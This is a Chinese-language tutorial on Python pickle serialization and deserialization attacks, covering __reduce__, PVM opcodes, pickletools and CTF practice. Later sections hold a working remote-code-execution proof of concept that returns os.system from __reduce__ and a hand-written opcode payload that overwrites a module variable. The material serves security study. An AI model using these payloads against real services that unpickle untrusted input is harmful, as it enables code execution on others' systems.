01 寫在開篇
模塊 pickle 實現了對一個 python 對象結構的二進位序列化和反序列化。"pickling" 是將 Python 對象及其所擁有的層次結構轉化為一個字節流的過程,而 "unpickling" 是相反的操作,會將(來自一個 binary file 或者 bytes-like object 的)字節流轉化回一個對象層次結構。pickling(和 unpickling)也被稱為「序列化」, 「編組」 或者 「平面化」。而為了避免混亂,此處採用術語 「封存 (pickling)」 和 「解封 (unpickling)」。
* pickle.dumps(object):用於序列化一個對象。
* pickle.loads(picklestring):用於反序列化數據,實現一個對象的構建。
過程展現:
1. 如果直接定義類 dairy,其中的data text文件將不會被序列化。
2. 需要設定init才可以把以下屬性序列化進去。
3. 反序列化如下顯示。
4. 序列化數組亦可,如下顯示。
5. pickle不僅可以序列化字符串,也可以讀寫文件,使用pickle.dump()和pickle.load() 即可。
小結:
(一)序列化過程
* 從對象中提取所有屬性(__dict__),並將屬性轉為鍵值對
* 寫入對象的類名
* 寫入鍵值對
(二)反序列化過程
* 獲取 pickle 輸入流
* 重建屬性列表
* 根據保存的類名創建一個新的對象
* 將屬性複製到新的對象中
02__reduce__()
__reduce__()類似於PHP中的__wakeup__魔法函數。如果當__reduce__返回值為一個元組(2到5個參數),第一個參數是可調用(callable)的對象,第二個是該對象所需的參數元組。在這種情況下,反序列化時會自動執行__reduce__裡面的操作。
1. 測試代碼。
2.運行結果。
3.彈計算機。
03pickle簡介
pickle 是一種棧語言,有不同的編寫方式,是基於一個輕量的 PVM(Pickle Virtual Machine)。
(一)PVM 的組成部分。
·指令處理器
從流中讀取 opcode 和參數,並對其進行解釋處理。重複這個動作,直到遇「.」這個結束符後停止。最終留在棧頂的值將被作為反序列化對象返回。
·stack
由 Python 的 list 實現,被用來臨時存儲數據、參數以及對象。
·memo
由 Python 的 dict 實現,為 PVM 的整個生命周期提供存儲。
備註:注意 stack、memo 的實現方式,方便理解接下來的指令。
當前用於 pickling 的協議共有 5 種。使用的協議版本越高,讀取生成的 pickle 所需的 Python 版本就要越新。
* v0 版協議是原始的 「人類可讀」 協議,並且向後兼容早期版本的 Python。
* v1 版協議是較早的二進位格式,它也與早期版本的 Python 兼容。
* v2 版協議是在 Python 2.3 中引入的。它為存儲 new-style class 提供了更高效的機制。欲了解有關第 2 版協議帶來的改進,請參閱 PEP 307。
* v3 版協議添加於 Python 3.0。它具有對 bytes 對象的顯式支持,且無法被 Python 2.x 打開。這是目前默認使用的協議,也是在要求與其他 Python 3 版本兼容時的推薦協議。
* v4 版協議添加於 Python 3.4。它支持存儲非常大的對象,能存儲更多種類的對象,還包括一些針對數據格式的優化。有關第 4 版協議帶來改進的信息,請參閱 PEP 3154。
(二)指令集。
(三)匯總:
1. c:讀取新的一行作為模塊名module,讀取下一行作為對象名object,並將module.object壓入到堆棧中。
2. (:將一個標記對象插入到堆棧中。為實現目的,該指令會與t搭配使用,以產生一個元組。
3. t:從堆棧中彈出對象,直到一個「(」被彈出和創建一個包含彈出對象(除了「(」)的元組對象,並且這些對象的順序必須與它們壓入堆棧時的順序一致,再將該元組壓入到堆棧中。
4. S:讀取引號中的字符串直到換行符處,並將它壓入堆棧。
5. R:將一個元組和一個可調用對象彈出堆棧,以該元組作為參數可調用的對象,並將結果壓入到堆棧中。
6. .:結束pickle。
7. 動態圖解釋:
參考:https://www.cnblogs.com/value-code/p/9224820.html
8. opmode版本如下顯示。
9. pickle3版本的opcode示例。
03 pickletools 工具使用
pickletools.optimize目的就是為了去除聲明q ,q:儲存棧頂的字符串長度為一個字節(即\x00)。
1. 變量覆蓋。
/usr/local/var/pyenv/versions/3.7.0/bin/python
/Users/Tkith/Tkitn'sCodeProject/Tkitnpygogogo/aix.py
0: \x80 PROTO3
2: cGLOBAL'builtins exec'
17: qBINPUT0
19: XBINUNICODE "key1=b'1'\nkey2=b'2'"
43: qBINPUT1
45: \x85 TUPLE1 #聲明第一個元祖
46: qBINPUT2
48: RREDUCE
49: qBINPUT3
51: .STOP
highest protocol among opcodes = 2
b'1' b'2'
None
Process finished with exit code 0
2. 簡單rce。
import pickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" # 要執行的命令
return os.system, (s,) # reduce函數必須
返回元組或字符串
e = genpoc()
poc = pickle.dumps(e)
print(poc) # 此時,如果 pickle.loads(poc),就會執行命令。
3. 手寫opcode
·在CTF中,很多時候需要一次執行多個函數或一次操作多個指令,此時就不能只用__reduce__ 來解決問題。因為reduce一次只能執行一個函數,當exec被禁用時,就不能一次執行多條指令了,所以需要手動拼接或構造opcode了。手寫opcode也是pickle反序列化中較難之處。
·此處可以體會到為何pickle是一種語言,直接編寫opcode的靈活性比使用pickle序列化生成的代碼更高。只要符合pickle語法,就可以進行變量覆蓋、函數執行等操作。
·根據前文不同版本的opcode可以看出,版本0的opcode更便於閱讀。所以手動編寫時,一般選用版本0的opcode。下文中,所有opcode均為版本0的opcode。
全局變量覆蓋
# secret.py
name='TEST3213qkfsmfo'
#main.py
import pickle
import secret
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
print('before:',secret.name)
output=pickle.loads(opcode.encode())
print('output:',output)
print('after:',secret.name)
通過c獲取全局變量secret,建立一個字典,並使用b對secret進行屬性設置,將會使用到payload。
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
4. 函數執行
與函數執行相關的opcode有三個:R、i、o ,所以我們可以從三個方向進行構造。
練習題:ikun
練習題目:
[watevrCTF-2019]Pickle Store
wp:
https://www.cnblogs.com/20175211lyz/p/12310293.html
wp2:
https://blog.csdn.net/weixin_45669205/article/details/116274988
wp3:不出網
https://xz.aliyun.com/t/7320#toc-1
推薦使用的wp:
https://xz.aliyun.com/t/7320#toc-1